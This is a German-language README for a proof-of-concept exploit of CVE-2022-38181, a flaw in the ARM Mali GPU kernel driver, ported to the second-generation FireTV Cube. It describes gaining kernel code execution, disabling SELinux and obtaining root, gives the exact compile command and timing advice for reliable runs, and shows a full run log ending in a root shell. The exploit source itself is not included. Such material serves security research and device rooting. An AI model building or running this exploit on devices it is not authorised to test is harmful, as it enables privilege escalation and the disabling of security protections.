
CVE-2022-38181 POC für FireTV 2. Generation Cube (raven)
Dies ist ein Fork des Pixel 6 POC des Sicherheitsforschers Man Yue Mo für CVE_2022_38181. Seine ausführliche Analyse der Schwachstelle finden Sie hier. Es wurden Änderungen vorgenommen, um den 32-Bit-Userspace von FireOS sowie die älteren Bifrost-Treiber (r16p0) und die Linux-Kernel-Version (4.9.113) des Cube der 2. Generation zu berücksichtigen. Der POC nutzt einen Bug im ARM-Mali-Kerneltreiber aus, um beliebige Codeausführung im Kernel zu erlangen, die anschließend dazu verwendet wird, SELinux zu deaktivieren und Root-Rechte zu erlangen.
Ich habe den folgenden Befehl verwendet, um mit clang in ndk-21 zu kompilieren:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi30-clang -DSHELL mali_shrinker_mmap32.c -o raven_shrinker
Der Exploit sollte 30–90 Sekunden nach dem Booten des Cube ausgeführt werden, um die größte Zuverlässigkeit zu erzielen.
raven:/ $ /data/local/tmp/raven_shrinker
fingerprint: Amazon/raven/raven:9/PS7624.3337N/0026810845440:user/amz-p,release-keys
failed, retry.
failed, retry.
failed, retry.
failed, retry.
region freed 80
alias gpu va 100c85000
read 0
cleanup flush region
release_mem_pool
jit_freed
jit_free commit: 2 0
Found freed_idx 2
Found pgd 23, 100cce000
overwrite addr : 104100634 634
overwrite addr : 104300634 634
overwrite addr : 1041001c4 1c4
overwrite addr : 1043001c4 1c4
result 50
raven:/ #